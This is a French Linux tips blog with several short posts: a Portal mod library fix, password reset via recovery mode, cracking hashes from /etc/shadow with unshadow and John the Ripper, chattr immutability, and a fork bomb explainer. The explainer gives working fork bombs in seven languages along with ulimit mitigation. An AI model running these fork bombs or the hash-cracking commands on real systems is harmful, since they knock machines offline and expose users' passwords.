Catégorie : Mémo

27 juin 2015 /

Certains moddeurs sont vraiment géniaux. Cela faisait trois ans qu’ils travaillaient sur un mod de Portal 2, pour narrer une histoire alternative à celle de Chell. Et le résultat des gars de chez Prism Studio méritent qu’on les félicite, c’est impressionnant.

Grâce à Portal Stories : Mel, vous allez pouvoir diriger une nouvelle héroïne dans une campagne qui dure environ une dizaine d’heures, et qui est proposé gratuitement à tous les possesseurs de Portal 2. L’occasion de découvrir 22 niveaux, de nouveaux personnages (et donc de nouvelles voix) ainsi qu’une nouvelle bande-son.

Sous linux, (en attendant que cela soit fixer), on a ce bug lors du lancement du jeu:

./portal2_linux: error while loading shared libraries: libtcmalloc_minimal.so.4: cannot open shared object file: No such file or directory

Cela crash le jeu à son lancement…. Mais pour résoudre ce problème voici une solution (adapter le chemin si besoin):

cp -r ~/.steam/SteamApps/common/Portal\ 2/bin/* ~/.steam/SteamApps/common/Portal\ Stories\ Mel/

ou

cp -r ~/.steam/steam/steamapps/common/Portal\ 2/bin/* ~/.steam/steam/steamapps/common/Portal\ Stories\ Mel/bin/

Disponible sur Steam

25 juin 2015 /

Si vous avez perdu votre mot de passe Linux, pas de panique.
Il vous suffit d’un accès physique à la machine, et il est très simple de le changer sans tout avoir à réinstaller.

Pour changer votre mot de passe:

Il suffit de redémarrer votre PC et d’appuyer sur la touche Echap lors du boot sur Grub.

Là il faut choisir dans le menu  « Recovery Mode« . Une fois démarré, vous serez connecté à un shell en tant que root.

il suffira  alors de taper cette commande pour saisir un nouveau mot de passe:

passwd login_de_utilisateur

SI vous ne vous en souvenez plus du login, faites un:

ls /home

Pour quitter le Recovery Mode:

shutdown -r now

23 juin 2015 /

Tout d’abord, il nous faut d’abord une copie du fichier des mots de passe.
La commande « unshadow » va nous permettre d’avoir un fichier (ici starmate.passwd.txt) contenant les informations du fichier /etc/passwd et du fichier /etc/shadow.

Pour générer le fichier:

sudo unshadow /etc/passwd /etc/shadow > starmate.passwd.txt

Si vous ne souhaitez qu’un utilisateur (ici starmate) en particulier:

sudo cat /etc/shadow | grep starmate > starmate.passwd.txt

Maintenant que nous avons notre fichier contenant les mots de passe cryptés, on peut simplement trouver les mots de passe en utilisant John the Ripper.
Cette opération peut durer plusieurs minutes/heures/jours/mois/années.

Pour forcer les mots de passe:

john starmate.passwd.txt

Pour forcer les mot de passe en utilisant un dictionnaire:

john --wordlist=/home/starmate/john.word.def starmate.passwd.txt

Une fois que le ou les mots passe ont été forcé, nous pouvons simplement les afficher.

Pour afficher les mots de passe trouvés:

john --show mypasswd


Plus d’information ici.
et là.

22 juin 2015 /

Pour empêcher n’importe quel fichier/dossier d’être modifié, supprimé ou même renommé, et ce, par par n’importe quel utilisateur, root compris, la commande chattr (change attribut) est parfaite:

L’option  » i  » (immuable) nous permet cela:

“+i” pour activer la protection
“-i” pour désactiver la protection .

Pour protéger un fichier/dossier:

chattr +i fichier
chattr +i dossier

Retirer la protection sur un fichier/dossier:

chattr -i fichier
chattr -i dossier

21 juin 2015 /

La fork bomb est une forme d’attaque par déni de service contre un système en utilisant la fonction fork. Elle se base sur la supposition que le nombre de programmes et de processus pouvant être exécutés simultanément sur un ordinateur est limité.

Une fork bomb fonctionne en créant un grand nombre de processus très rapidement afin de saturer l’espace disponible dans la liste des processus gardée par le système d’exploitation. Si la table des processus se met à saturer, aucun nouveau programme ne peut démarrer tant qu’aucun autre ne termine. Même si cela arrive, il est peu probable qu’un programme utile démarre étant donné que les instances de la bombe attendent chacune d’occuper cet emplacement libre.

Non seulement les fork bombs utilisent de la place dans la table des processus, mais elles utilisent chacune du temps processeur et de la mémoire. En conséquence, le système et les programmes tournant à ce moment-là ralentissent et deviennent même impossibles à utiliser.

En Bash:

:(){ :|:& };:

Explications:

:() définit une fonction nommée : .
Puis { :|:& } est le corps de la fonction. Dans celui-ci, la fonction s’appelle elle-même (:), puis redirige la sortie à l’aide d’un pipe (|) sur l’entrée de la même fonction : et cache le processus en fond avec &. La fonction, ensuite appelée avec :, s’appelle récursivement à l’infini.

La fork bomb fonctionne en créant autant de processus que possible. Ainsi, s’en premunir, il suffit simplement de limiter le nombre de processus pouvant être exécutés par un programme ou par un utilisateur. En permettant aux utilisateurs de non-confiance de lancer seulement un petit nombre de processus, le danger d’une fork bomb, intentionnelle ou non, est réduit. Toutefois, cela n’empêche pas un groupe d’utilisateurs de collaborer pour consommer les emplacements processus, à moins que la limite totale des processus soit plus grande que la somme des limites des processus individuelles.

Les systèmes de type Unix permettent de limiter le nombre de processus via la commande ulimit. Dans un noyau Linux, cette limite peut être indiquée via RLIMIT_NPROC. Si un processus appelle fork et que l’utilisateur possède déjà plus de RLIMIT_NPROC processus alors le fork échoue. Ici encore la limitation est propre à un utilisateur donné et ne permet pas de déjouer les attaques simultanées par plusieurs utilisateurs. Elle permet toutefois de limiter l’impact de forks accidentels, par exemple lors de la conception d’un logiciel ou d’un bogue dans une application.

 

Voici d’autre façon de faire des Fork Bomb:

En langage C:

#include
int main(void)
{
while(1) {
/* ici on peut ajouter un malloc pour utiliser plus de ressources */
fork();
}
return 0;
}

En Javascript:

function open_target_blank()
{
window.open(window.location);
}
window.onload = open_target_blank();
OU
while (true)
{
var w = window.open();
w.document.write(document.documentElement.outerHTML || document.documentElement.innerHTML);
}

En Perl:

fork while fork

En Perl depuis un terminal:

perl -e "fork while fork" &

En Python:

import os
while True:
os.fork()

En Ruby:

loop { fork }

En VB:

Private Sub Main()
Do
Shell App.EXEName
Loop
End Sub